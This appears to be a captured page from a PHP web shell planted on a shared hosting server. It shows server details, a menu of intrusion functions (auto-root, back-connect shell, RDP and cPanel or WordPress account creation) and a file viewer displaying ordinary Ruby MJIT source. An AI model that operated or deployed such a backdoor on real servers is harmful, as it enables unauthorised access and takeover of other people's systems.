Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.117.105.215
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby32 /
share /
ruby /
ruby_vm /
mjit /
[ HOME SHELL ]
Name
Size
Permission
Action
c_pointer.rb
9.02
KB
-rw-r--r--
c_type.rb
2.49
KB
-rw-r--r--
compiler.rb
39.42
KB
-rw-r--r--
hooks.rb
915
B
-rw-r--r--
instruction.rb
66.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : c_type.rb
require 'fiddle' require 'fiddle/pack' require_relative 'c_pointer' module RubyVM::MJIT # :nodoc: all module CType module Struct # @param name [String] # @param members [Hash{ Symbol => [Integer, RubyVM::MJIT::CType::*] }] def self.new(name, sizeof, **members) name = members.keys.join('_') if name.empty? CPointer.with_class_name('Struct', name) do CPointer::Struct.define(sizeof, members) end end end module Union # @param name [String] # @param members [Hash{ Symbol => RubyVM::MJIT::CType::* }] def self.new(name, sizeof, **members) name = members.keys.join('_') if name.empty? CPointer.with_class_name('Union', name) do CPointer::Union.define(sizeof, members) end end end module Immediate # @param fiddle_type [Integer] def self.new(fiddle_type) name = Fiddle.constants.find do |const| const.start_with?('TYPE_') && Fiddle.const_get(const) == fiddle_type.abs end&.to_s name.delete_prefix!('TYPE_') if fiddle_type.negative? name.prepend('U') end CPointer.with_class_name('Immediate', name, cache: true) do CPointer::Immediate.define(fiddle_type) end end # @param type [String] def self.parse(ctype) new(Fiddle::Importer.parse_ctype(ctype)) end def self.find(size, signed) fiddle_type = TYPE_MAP.fetch(size) fiddle_type = -fiddle_type unless signed new(fiddle_type) end TYPE_MAP = Fiddle::PackInfo::SIZE_MAP.map { |type, size| [size, type.abs] }.to_h private_constant :TYPE_MAP end module Bool def self.new CPointer::Bool end end class Pointer # This takes a block to avoid "stack level too deep" on a cyclic reference # @param block [Proc] def self.new(&block) CPointer.with_class_name('Pointer', block.object_id.to_s) do CPointer::Pointer.define(block) end end end module BitField # @param width [Integer] # @param offset [Integer] def self.new(width, offset) CPointer.with_class_name('BitField', "#{offset}_#{width}") do CPointer::BitField.define(width, offset) end end end # Types that are referenced but not part of code generation targets Stub = ::Struct.new(:name) # Types that it failed to figure out from the header Unknown = Module.new end end
Close